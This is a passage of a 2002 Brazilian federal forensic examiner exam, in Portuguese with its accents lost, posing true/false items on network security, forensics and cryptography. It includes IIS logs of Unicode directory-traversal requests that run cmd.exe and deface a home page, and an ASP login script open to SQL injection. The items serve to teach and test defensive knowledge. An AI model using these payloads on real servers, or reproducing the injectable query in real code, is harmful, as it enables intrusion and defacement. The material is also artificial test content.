c0%af/winnt/system32/cmd.exe?/c+dir+c:\inetpub\wwwroot HTTP/1.1" 200 828
atacker6.nowhere.com - - [23/Jan/2001:04:30:02 -0200] "GET
/IISADMPWD/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af...%c0%af..%c0%af..%
c0%af/winnt/system32/cmd.exe?/c+copy+c:\winnt\cmd.exe+c:\winnt\s3.exe
HTTP/1.0" 502 259
atacker6.nowhere.com - - [23/Jan/2001:04:32:29 -0200] "GET
/IISADMPWD/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af...%c0%af..%c0%af..%
c0%af/winnt/system32/cmd.exe?/c+copy+c:\winnt\cmd.exe+c:\winnt\cmd.exe
HTTP/1.0" 502 259
atacker6.nowhere.com - - [23/Jan/2001:04:33:36 -0200] "GET
/IISADMPWD/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af...%c0%af..%c0%af..%
c0%af/winnt/system32/cmd.exe?/c+copy+c:\winnt\system32\cmd.exe+c:\winnt\s3.exe
HTTP/1.0" 502 242

UnB / CESPE MJ / DPF / ANP / DRS Concurso Pblico Aplicao: 19/1/2002

Cargo: Perito Criminal Federal / rea 3 Computao Cientfica 6 / 13 permitida a reproduo, desde que citada a fonte.
 atacker6.nowhere.com - - [23/Jan/2001:04:34:11 -0200] "GET
/IISADMPWD/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af...%c0%af..%c0%af..%
c0%af/winnt/system32/cmd.exe?/c+echo+H4ck3d+by+Gund3R0th+thanks+Gund3R1
th+Grup+WebQu33R+>c:\inetpub\wwwroot\Default.htm HTTP/1.0" 500 87
atacker6.nowhere.com - - [23/Jan/2001:04:34:28 -0200] "GET
/IISADMPWD/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af...%c0%af..%c0%af..%
c0%af/winnt/system32/cmd.exe?/c+echo+H4ck3d+by+Gund3R0th+thanks+Gund3R1
th+Grup+WebQu33R+>c:\inetpub\wwwroot\Default.htm HTTP/1.0" 500 87
atacker6.nowhere.com - - [23/Jan/2001:04:35:55 -0200] "GET
/IISADMPWD/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af...%c0%af..%c0%af..%
c0%af/winnt/system32/s3.exe?/c+echo+H4ck3d+by+Gund3R0th+thanks+Gund3R1t
h+Grup+WebQu33R+>c:\inetpub\wwwroot\Default.htm HTTP/1.0" 404 461
atacker6.nowhere.com - - [23/Jan/2001:04:37:34 -0200] "GET
/IISADMPWD/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af...%c0%af..%c0%af..%
c0%af/winnt/s3.exe?/c+echo+H4ck3d+by+Gund3R0th+thanks+Gund3R1th+Grup+We
bQu33R+>c:\inetpub\wwwroot\Default.htm HTTP/1.0" 502 215
atacker6.nowhere.com - - [23/Jan/2001:04:40:09 -0200] "GET
/IISADMPWD/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af...%c0%af..%c0%af..%
c0%af/winnt/s3.exe?/c+echo+H4ck3d+by+Gund3R0th+thanks+Gund3R1th+Grup+We
bQu33R+>c:\inetpub\wwwroot\Default.htm HTTP/1.0" 502 215
atacker6.nowhere.com - - [23/Jan/2001:04:40:30 -0200] "GET
/IISADMPWD/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af...%c0%af..%c0%af..%
c0%af/winnt/s3.exe?/c+echo+H4ck3d+by+Gund3R0th+thanks+Gund3R1th+Grup+We
bQu33R+>c:\inetpub\wwwroot\myweb.dll HTTP/1.0" 502 215
atacker4.nowhere.com - - [23/Jan/2001:04:40:51 -0200] "GET
/IISADMPWD/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af...%c0%af..%c0%af..%
c0%af/winnt/system32/cmd.exe?/c+dir+c: HTTP/1.1" 200 880
atacker6.nowhere.com - - [23/Jan/2001:04:44:38 -0200] "GET
/IISADMPWD/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af...%c0%af..%c0%af..%
c0%af/winnt/s3.exe?/c+echo+H4ck3d+by+Gund3R0th+thanks+Gund3R1th+Grup+We
bQu33R+>c:\inetpub\wwwroot\myweb.dll HTTP/1.0" 502 215

QUESTO 36

Com base no texto CE, julgue os itens abaixo, referentes aos ataques ao servidor http mencionado nesse texto.

1 As tentativas exploratrias comearam a ter sucesso a partir de 23/1/2001.

2 Verifica-se ataque de defacement (pichao) a pgina Web.
3 A vulnerabilidade explorada nos ataques a do parsing das requisies de arquivo em servidores Web, tambm conhecida como ataque
de unicode, presente no MS IIS verso 5.0.
4 Os logs foram gerados pelo MS IIS.
5 O atacante fez uma cpia de backup da pgina original.
QUESTO 37

Novamente com base no texto CE e acerca dos ataques ao servidor http referido, julgue os itens a seguir.

1 Nos probes exploratrios, o atacante vasculhou diversos diretrios, procurando o arquivo cmd.exe, que um interpretador
de comandos.
2 Atacker copiou cmd.exe em outro arquivo, que posteriormente foi usado no ataque.
3 A pgina inicial do servidor Web atacado residia em Default.htm.
4 O servidor utiliza uma forma elementar de defesa, mantendo a pgina de index em myweb.dll.
5 Atacker6 teve sucesso no ataque.
QUESTO 38

Ainda com base no texto CE, julgue os itens subseqentes, relativos ao servidor http e aos ataques ocorridos.

1 A pgina vulnerada se apresentou em branco com os dizeres H4ck3d by Gund3R0th thanks Gund3R1th Grup WebQu33R.
2 Os ataques no poderiam ser evitados utilizando-se um proxy que restringisse os acessos pgina inicial.
3 No h patch disponvel, atualmente, para corrigir a vulnerabilidade em questo, que seja fornecido pelo autor/fornecedor do
servidor Web.
4 Um dos elementos dos ataques est no fato de o diretrio system32 ter seu acesso liberado, na configurao default do sistema
operacional.
5 Os ataques poderiam ter sido evitados por meio de filtragem de pacotes em um firewall convencional.

UnB / CESPE MJ / DPF / ANP / DRS Concurso Pblico Aplicao: 19/1/2002

Cargo: Perito Criminal Federal / rea 3 Computao Cientfica 7 / 13 permitida a reproduo, desde que citada a fonte.
 QUESTO 39

O administrador da rede Alfa recebeu diversas reclamaes, de administradores de outras redes, de que uma de suas mquinas
estaria gerando trfego suspeito. A mquina em questo um servidor Unix, servidor03 (endereo IP 192.168.11.1). Abaixo, so
mostradas as pores relevantes dos resultados da execuo, no referido servidor, de alguns comandos.

I comando: netstat

Local address Remote address Swind Send-Q Rwind Recv-Q State

------------------------- ------------------- -------- --------- ------- --------- ------------------
*.12345 *.* 0 0 24576 0 LISTEN

II comando: lsof

COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME

laden 7895 root 3u IPv4 978493 TCP *:12345 (LISTEN)

III comando: ps

UID PID PPID C STIME TTY TIME CMD

root 7895 1 0 May 1 ? 0:00 laden

IV comando: find / -name laden print

(no retorna informao)

Alm das informaes acima, em uma inspeo dos mdulos carregados no kernel, no foi apontada nenhuma anormalidade. Nesse caso,
correto concluir que o servidor03 sofreu um comprometimento de root e que

1 no se trata de um rootkit na forma de um LKM.

2 um telnet na porta 12345 do servidor03 chamar o programa suspeito, sendo a melhor forma de avaliar o que ele faz.
3 o programa suspeito executa um unlink antes de se tornar daemon, evitando aparecer no sistema de arquivos.
4 carregado no boot, acarretando, assim, o comprometimento de algum arquivo de inicializao.
5 as cadeias de caracteres podem ser inspecionadas, caso a imagem executvel do programa suspeito possa ser localizada no sistema de
arquivos /proc.
QUESTO 40 QUESTO 41

Com relao aos comprometimentos de mquinas originados a partir
da explorao de uma sobrecarga de buffer (buffer overflow), julgue
os itens abaixo.
Um administrador recebeu a tarefa de instalar um sistema de
deteco de intruso (IDS) adequado em sua rede. Considerando
que a rede utiliza apenas comutadores (switches), correto
afirmar que o administrador

1 no conseguir executar a tarefa com sucesso, j que, no

1 A ocorrncia de comprometimento est restrita aos sistemas de
cdigo aberto.
2 O comprometimento independe da linguagem utilizada na
implementao do programa especfico que tem seu buffer
sobrecarregado.
3 Pode-se evitar o buffer overflow utilizando-se firewalls na proteo
das mquinas.
4 O buffer overflow consiste em injetar uma cadeia de caracteres
longa o suficiente para ocupar totalmente o buffer atacado,
seguindo-se uma chamada de sistema que executa o cdigo
malicioso.
5 O buffer overflow genrico utiliza, na sua implementao, o fato de
que, na cadeia de caracteres do buffer, s podem ocorrer caracteres
distintos do delimitador de cadeias, sendo, ento, normalmente
utilizado no preenchimento do buffer o cdigo correspondente ao
NOOP do sistema-alvo, facilitando a estimao do endereo de
retorno da chamada de sistema.
switch, ao contrrio do hub, cada porta tem um domnio de
coliso distinto.
2 pode, na implantao do sistema IDS, configurar com
sucesso o switch para modo debug, ou equivalente, em que
o mesmo passa a operar como hub, sem prejuzo ao
desempenho.
3 pode, na configurao do sistema IDS, espelhar as portas do
switch para a porta de backbone, normalmente usada para
uplink/downlink, se houver, no precisando se preocupar com
o trfego de todas as portas convergindo para a porta em que
est o sensor do IDS.
4 pode instalar, na mquina em que rodar o IDS, um mdulo
que envie periodicamente pacotes ARP de resposta,
contendo o endereo MAC do sensor do IDS e o endereo IP
de todas as mquinas que deseja proteger com o IDS, no
precisando reconfigurar o switch.
5 pode instalar, na mquina em que rodar o IDS, um mdulo
que envie periodicamente pacotes ARP de resposta, contendo
endereos MAC fictcios para assim preencher totalmente a
tabela de endereos fsicos do switch, acarretando, porm,
prejuzo ao desempenho.

UnB / CESPE MJ / DPF / ANP / DRS Concurso Pblico Aplicao: 19/1/2002

Cargo: Perito Criminal Federal / rea 3 Computao Cientfica 8 / 13 permitida a reproduo, desde que citada a fonte.
 QUESTO 42
Considere uma pgina Web utilizada por um grupo de usurios para
alimentar um banco de dados SQL Server. Os usurios realizam o logon
sobre uma conexo SSL e, se autenticados, podem inserir informaes e(ou)
realizar consultas no banco de dados, que, aps as inseres, envia como
retorno um e-mail de confirmao. O firewall interno s aceita conexes nas
portas 443 e 25, nos dois extremos da DMZ. Alguns trechos de cdigo
correspondentes a essa pgina e ao script de logon so mostrados a seguir.
pgina Web
<form name="Logon" method="post"
action="https://www.bigbucks.org/scripts/Logon.asp>
<p><font face="Tahoma"> <i><b>Please enter username and
password:</b></i><br>
Username
<input type="text" name="uname" maxlength="25">
<br>
<br>
Password
<input type="text" name="pword" maxlength="25">
<br>
</font></p>
<p>
<input type="submit" name="Submit" value="Submit">
</p>
</form>
script de logon
Conn.Open Set rst= Conn.Execute("select * from userinfo where
username = ' " & Request.Form("uname") & " ' and password = ' &
Request.Form("uname") & " ' "
If rst.eof then
Response.Redirect "badlogon.asp"
Com base nessas informaes, julgue os itens seguintes.
1 Independentemente do que possa acontecer com as informaes do
banco de dados, correto afirmar que o servidor hospedeiro desse banco
de dados seguro, j que as conexes so encriptadas e os acessos so
intermediados pelo servidor Web.
2 A simplicidade com que os dados de entrada so validados, repassando-
os diretamente para a montagem do statement SQL, atesta o bom design
da soluo do controle de acesso, pois o cdigo facilmente auditvel.
3 A crtica inexistente aos dados fornecidos por um usurio permite que se
monte consultas que resultariam no fornecimento das tabelas com as
informaes dos usurios.
4 Na situao apresentada, possvel forar o banco de dados a enviar um
e-mail com tabelas inteiras.
5 Algum desautorizado pode alterar as informaes do banco de dados.
UnB / CESPE MJ / DPF / ANP / DRS
Cargo: Perito Criminal Federal / rea 3 Computao Cientfica 9 / 13
QUESTO 43
Julgue os itens que se seguem, com relao cpia de
arquivos em sistemas Unix.
1 Caso se deseje preservar a estrutura lgica do sistema
de arquivos e os mactimes, a cpia das informaes
contidas em um disco rgido no deve ser executada
com o comando dd.
2 Ao realizar a cpia das informaes contidas em um
disco rgido utilizando-se o comando tar, preserva-se o
sistema de arquivos, tais como os mactimes.
3 A gerao de hashes md5 funciona como uma
assinatura, tanto do original como da cpia; o hash de
uma partio, por exemplo, pode ser obtido com o
comando dd if=/dev/hda1 | md5sum -b.
4 Arquivos deletados podem ser recuperados a partir de
sua cpia, utilizando-se, para isso, o comando dd.
5 Uma cpia segura pode ser realizada remotamente com
o comando ssh.
QUESTO 44
Considere uma rede em que h a suspeita da existncia de
um sniffer instalado em uma das mquinas que compem
a rede, realizando escutas desautorizadas. Com relao a
essa situao, julgue os itens abaixo.
1 Constitui boa estratgia de deteco de sniffer aquela
que se fundamenta na identificao do trfego gerado
por ele durante a escuta, trfego que normalmente
acontece em grande quantidade, seja o sniffer em redes
comutadas ou no.
2 Pode-se detectar a existncia de um sniffer na
rede usando-se outro sniffer e verificando quem faz
consultas de DNS quando uma nova mquina
adicionada rede.
3 Na identificao de um snnifer, constitui boa estratgia
o envio de pings em broadcast e a comparao dos
tempos de resposta das vrias mquinas no segmento:
o tempo de resposta da mquina que contm sniffer
provavelmente ser maior que o das outras mquinas.
4 Um sniffer comum passivo em uma rede
comutada consegue capturar trfego.
5 A deteco de um sniffer quase sempre acontece com
sucesso, sendo a sua identificao fundamentada no
endereo MAC.
Concurso Pblico Aplicao: 19/1/2002
permitida a reproduo, desde que citada a fonte.
 QUESTO 45

Considere os seguintes trechos de trfego.

trecho I

02:11:26.616090 10.1.1.1.31915 > 10.1.2.1.20197: udp 28 (frag 242:36@0+) (ttl 64)

02:11:26.616445 10.1.1.1 > 10.1.2.1: (frag 242:4@24) (ttl 64)

trecho II

02:12:26.616445 10.1.1.1 > 10.1.2.1: (frag 1242:1480@4240+)

02:12:31.616575 10.1.1.1 > 10.1.2.1: (frag 1242:1480@2490+)

02:12:31.617345 10.1.1.1 > 10.1.2.1: (frag 1242:1480@4240+)

02:12:36.617950 10.1.1.1 > 10.1.2.1: (frag 1242:1480@2240+)

02:12:36.618865 10.1.1.1 > 10.1.2.1: (frag 1242:1480@2490+)

02:12:41.626445 10.1.1.1 > 10.1.2.1: (frag 1242:1480@4240+)

02:12:46.632950 10.1.1.1 > 10.1.2.1: (frag 1242:1480@2240+)

trecho III

02:13:22.216445 truncated-tcp 16 (frag 32470:16@0+)

02:13:22.224445 10.1.1.1 > 10.1.2.1: (frag 32470:4@16)

02:13:22.236645 truncated-tcp 16 (frag 70123:16@0+)

02:13:22.239880 10.1.1.1 > 10.1.2.1: (frag 70123:4@16)

02:13:22.245675 truncated-tcp 16 (frag 12678:16@0+)

02:13:22.247885 10.1.1.1 > 10.1.2.1: (frag 12678:4@16)

Julgue os itens a seguir, relativos a esses trechos de trfego.

1 O trecho I apresenta trfego legtimo, mas que pode causar crashes e travamentos em alguns sistemas operacionais com implementaes

deficientes da pilha TCP/IP.

2 O trecho II poderia indicar um ataque de exausto de recursos do sistema, causando lentido no processamento.

3 O trecho III mostra a fragmentao sobre os cabealhos TCP, de maneira idntica dissimulao de port scans usando o flag FIN.

4 O trecho III tem o mesmo efeito no sistema que o trecho II, s que de forma mais rpida.

5 Os trechos acima utilizam a fragmentao de maneira maliciosa.

UnB / CESPE MJ / DPF / ANP / DRS Concurso Pblico Aplicao: 19/1/2002

Cargo: Perito Criminal Federal / rea 3 Computao Cientfica 10 / 13 permitida a reproduo, desde que citada a fonte.
 QUESTO 46

A realizao de anlise de trfego em uma rede TCP/IP uma tcnica importante para monitorao e auditoria da rede e de seus servios.
As figuras I e II a seguir, obtidas com o uso da ferramenta Ethereal (www.ethereal.com), apresentam exemplos tpicos de informaes
extradas com o uso de ferramentas analisadoras de rede, que so empregadas na realizao de anlise de trfego.

Figura I

Figura II

Acerca das informaes contidas nas figuras I e II e de suas interpretaes, julgue os itens a seguir, relativos rede mencionada acima.

1 Todo o trfego observado, de acordo com a figura I, utiliza o protocolo IP.

2 De acordo com a figura I, o protocolo UDP no est implementado nessa rede, sendo o protocolo TCP o nico protocolo de transporte
disponvel.
3 O pacote de nmero 42, na figura II, uma retransmisso do pacote de nmero 41.
4 Os pacotes de nmeros 41, 42, 45 e 46, mostrados na figura II, fazem parte de uma mesma conexo TCP no sentido da porta 1024 para
a porta ftp. Por outro lado, os pacotes 43 e 44 fazem parte de outra conexo TCP simtrica, no sentido da porta ftp para a porta 1024.
As duas conexes formam uma ligao TCP bidirecional.
5 A primeira opo do pacote TCP de nmero 41, detalhado na parte inferior da figura II, aparece apenas em mensagens TCP de
estabelecimento de conexo, isto , que possuam o flag de SYN ativo.

UnB / CESPE MJ / DPF / ANP / DRS Concurso Pblico Aplicao: 19/1/2002

Cargo: Perito Criminal Federal / rea 3 Computao Cientfica 11 / 13 permitida a reproduo, desde que citada a fonte.
 QUESTO 47
As tcnicas de criptografia constituem os recursos bsicos para
implementao de boa parte das ferramentas que disponibilizam
servios de segurana para os nveis de rede, sistema e servios
(aplicaes). Assim, os riscos para cada servio de segurana esto
muitas vezes associados aos riscos de quebra dos sistemas e
algoritmos criptogrficos utilizados. Acerca de tcnicas de quebra
de sistemas e algoritmos criptogrficos e seus riscos, julgue os itens
a seguir.
1 A quebra de sistemas criptogrficos simtricos sempre depende
da descoberta da chave secreta utilizada no processo
criptogrfico.
2 Um princpio bsico para a utilizao de senhas em servios de
segurana, tais como autentificao e controle de acesso,
consiste em no armazenar a senha diretamente pois o acesso a
tal entidade de armazenamento poria em risco toda a segurana
do sistema. Ao contrrio, armazenado um resumo da senha,
gerado normalmente por algum tipo de funo digestora
unidirecional. Ataques de fora bruta a esses sistemas podem ser
bem sucedidos, caso se encontre a mensagem original utilizada
na entrada da funo (isto , a senha) ou alguma outra
mensagem que resulte em um mesmo resumo que aquele gerado
para a mensagem original.
3 Em uma infra-estrutura de chave pblica (ICP), a quebra do
certificado (violao da chave privada) de uma autoridade
certificadora (AC) invalida todos os certificados assinados por
esta AC. Assim, toda a segurana da ICP depende da segurana
da chave privada da AC raiz.
4 Chaves criptogrficas consideradas seguras contra ataques de
fora bruta, para os padres de processamento atuais, devem
possuir pelo menos 128 bits, tanto para criptografia simtrica
quanto para criptografia assimtrica.
5 Sistemas que utilizam assinaturas digitais para proviso de
servios de autentificao e no-repdio so tambm imunes a
ataques de negao de servio por repetio (replay).
UnB / CESPE MJ / DPF / ANP / DRS
Cargo: Perito Criminal Federal / rea 3 Computao Cientfica 12 / 13
QUESTO 48
Um sistema criptogrfico constitudo por uma tripla (M,K,C), em
que M o espao das mensagens, K o espao das chaves, e C
o espao dos criptogramas. Associado a esses, tem-se um algoritmo
criptogrfico, o qual transforma qualquer mensagem m 0 M em um
criptograma c 0 C, de forma controlada por uma chave k 0 K. Pode-
se representar essa transformao por c = Ek(m), que corresponde
operao de cifrao, e por m = Dk(c), a operao inversa, de
decifrao. A respeito de sistemas criptogrficos em geral, julgue
os itens subseqentes.
1 Em um determinado sistema criptogrfico, para cada mensagem
possvel m, existe apenas um criptograma possvel, c, que ser
o resultado da cifrao de m com determinada chave k. No
obstante, mensagens distintas podem resultar em um mesmo
criptograma, se utilizadas chaves distintas.
2 Sistemas criptogrficos so ditos simtricos ou de chave secreta
quando a chave utilizada para cifrar a mesma utilizada para
decifrar. Sistemas assimtricos ou de chave pblica utilizam
chaves distintas para cifrar e decifrar. Algoritmos simtricos so
geralmente mais eficientes computacionalmente que os
assimtricos e por isso so preferidos para cifrar grandes massas
de dados ou para operaes online.
3 Diz-se que um sistema criptogrfico tem segredo perfeito
quando, dado um criptograma c, a incerteza que se tem em
relao mensagem m que foi cifrada a mesma que se tinha
antes de conhecer o criptograma. Uma condio necessria para
que um sistema criptogrfico tenha segredo perfeito que o
espao de chaves seja pelo menos to grande quanto o espao
de mensagens, ou seja, |K| $ |M|.
4 O nico sistema criptogrfico matematicamente inviolvel o
denominado sistema de chave nica. Todos os demais sistemas,
para utilizao em condies reais de aplicao, so
teoricamente violveis, ou seja, dados recursos e tempo
ilimitados e quantidade suficiente de criptograma gerado com
uma mesma chave, possvel, sempre, determinar, de forma
unvoca, a chave utilizada.
5 Uma tcnica eficiente para tornar um sistema criptogrfico mais
forte se utilizar um algoritmo de compresso de dados aps a
cifrao.
Concurso Pblico Aplicao: 19/1/2002
permitida a reproduo, desde que citada a fonte.
 QUESTO 49
Em um ambiente de segurana de informaes, senhas e chaves
criptogrficas devem ser imprevisveis e, preferencialmente,
geradas de forma totalmente aleatria. Todo sistema criptogrfico
apresenta o conhecido problema de gerenciamento de chaves, que
trata da gerao, da distribuio, do armazenamento e da troca das
chaves utilizadas. Costuma-se considerar que a segurana de um
algoritmo criptogrfico est na segurana das chaves utilizadas.
Com relao a esse assunto, julgue os itens que se seguem.
1 Para um determinado sistema criptogrfico que utiliza chaves de
128 bits, optou-se por selecionar como gerador de chaves a
sada do algoritmo MD5, tendo por entrada os seguintes
parmetros: a data/hora do sistema quando da gerao da chave,
dada na forma DDMMAAHHMMSS, com o significado usual,
concatenado com uma seqncia de 16 bytes consecutivos
obtida de um arquivo fixo, contendo 64 kilobytes de dados que
foram gerados de forma totalmente aleatria, e cujo ponto
inicial de leitura escolhido a partir de caracteres digitados por
um operador da forma mais imprevisvel possvel. Nessa
situao, como o algoritmo MD5 gera um hash de 128 bits e
no se pode, em princpio, determinar a entrada dada a sada,
pode-se considerar esse como um bom mtodo para a gerao
dos 128 bits necessrios para uma chave com uma aparncia
aleatria.
2 O algoritmo DES considerado inseguro por possuir um espao
de chaves de apenas 56 bits, sendo, portanto, susceptvel a
ataques por exausto das chaves, utilizando-se recursos
relativamente modestos com a tecnologia disponvel atualmente.
Uma forma encontrada para aumentar o espao de chaves de
algoritmos de bloco do tipo DES foi a implementao
denominada triplo-DES, em que se emprega o mesmo algoritmo
3 vezes consecutivas, potencialmente com 3 chaves distintas, o
que permite uma chave total efetiva correspondente a 3 vezes o
tamanho original, ou seja, nesse caso, 168 bits. Por raciocnio
semelhante, o uso de um duplo-DES deve prover uma segurana
equivalente a um algoritmo com chave efetiva de 112 bits.
3 Um tipo de funo essencial para uso em ambiente criptogrfico
a das denominadas funes unidirecionais. Uma funo
unidirecional uma transformao fixa (sem chaves) para a qual
impraticvel se determinar a entrada a partir da sada. Uma
forma de se obter uma boa funo unidirecional tomar um
bom algoritmo criptogrfico, fixar a entrada de dados
(mensagem) e utilizar a entrada de chave como entrada de
dados.
4 O algoritmo RSA um conhecido e popular algoritmo
assimtrico. A segurana do algoritmo RSA dada pelo
tamanho das chaves utilizadas, da ordem de 1 kilobits, o que
torna impraticvel a determinao da chave pela exausto das
possibilidades.
5 Ao comparar sistemas criptogrficos simtricos e assimtricos,
conclui-se que aqueles facilitam a gerao e a troca das chaves,
enquanto estes facilitam a distribuio e o armazenamento das
mesmas.
UnB / CESPE MJ / DPF / ANP / DRS
Cargo: Perito Criminal Federal / rea 3 Computao Cientfica 13 / 13
QUESTO 50
Certificados digitais so documentos eletrnicos concebidos para
se verificar a autenticidade de um usurio e assegurar que ele
efetivamente tem a posse de um par de chaves (pblica e privada)
para um determinado sistema criptogrfico de chaves assimtricas.
Certificados digitais so usualmente emitidos por uma terceira parte
confivel, denominada autoridade certificadora (AC). Com relao
utilizao de certificados digitais para prover maior segurana a
um ambiente computacional, julgue os itens abaixo.
1 Certificados digitais se baseiam no conceito de assinatura
digital. O mecanismo usual para se assinar um documento
eletrnico primeiro gerar o hash do documento e ento cifrar
esse hash com um algoritmo assimtrico, utilizando-se sua
chave privada. O valor assim obtido constitui a assinatura, que
ir permitir, posteriormente, no apenas verificar a autoria do
documento como tambm a sua integridade.
2 O padro de certificados largamente utilizado hoje em dia o
X.509, em sua verso 3. Um certificado gerado nesse padro
inclui, essencialmente, um identificador da verso utilizada para
gerar o certificado (1, 2 ou 3); um nmero serial que deve ser
nico para cada certificado emitido por dada AC; um
identificador do algoritmo de assinatura utilizado pela AC; um
identificador da AC (DN distinguished name da AC); perodo
de validade do certificado; um identificador do sujeito (DN
distinguished name do sujeito) para o qual est sendo emitido
o certificado; a chave pblica do sujeito; a chave privada do
sujeito; outras informaes opcionais padronizadas; por fim, a
prpria assinatura da AC desse conjunto de informaes.
3 Certificados digitais so comumente emitidos para pessoas
(fsicas ou jurdicas), mquinas e processos. A utilizao dos
certificados requer o estabelecimento do que se denomina uma
Infraestrutura de Chaves Pblicas (ICP), como recentemente
estabelecido pelo governo brasileiro, a ICP-Brasil. ICPs como
a ICP-Brasil pressupem a existncia de pelo menos uma AC,
cujo prprio certificado auto-assinado, ou seja, ela prpria
atesta sua identidade e a deteno de seu par de chaves
assimtricas, sendo ao mesmo tempo, para esse fim, emissor e
sujeito no ato de certificao.
4 A Internet j dispe de recursos bsicos para a utilizao de
certificados digitais por meio do protocolo SSL (Secure Sockets
Layer), desenvolvido pela empresa Netscape com vistas ao
desenvolvimento do comrcio eletrnico, e, mais recentemente,
o TLS (Transport Layer Security), desenvolvido a partir do SSL
como um padro do IETF (Internet Engineering Task Force).
A utilizao do SSL/TLS permite: a autentificao mtua das
partes em comunicao por meio da verificao de seus
certificados digitais apresentados no incio de uma sesso; o
estabelecimento de uma chave simtrica segura para ser
utilizada entre as partes naquela sesso; a cifrao com um
algoritmo simtrico de toda a comunicao de dados, de forma
transparente, no qual utilizada a chave previamente
estabelecida.
5 Um dos pontos sensveis na utilizao de um sistema de chaves
pblicas a gerao do par de chaves de um usurio. No
somente o processo de gerao deve resultar em uma chave
privativa imprevisvel, como esta deve ficar to-somente sob a
guarda de seu proprietrio, com a maior segurana possvel.
O comprometimento da chave privativa de um usurio ou o
acesso mesma por terceiros compromete a segurana em sua
utilizao. Uma forma segura para a gerao e a guarda de
chaves e certificados disponvel atualmente o uso de cartes
inteligentes (smart cards) para tal finalidade.
Concurso Pblico Aplicao: 19/1/2002
permitida a reproduo, desde que citada a fonte.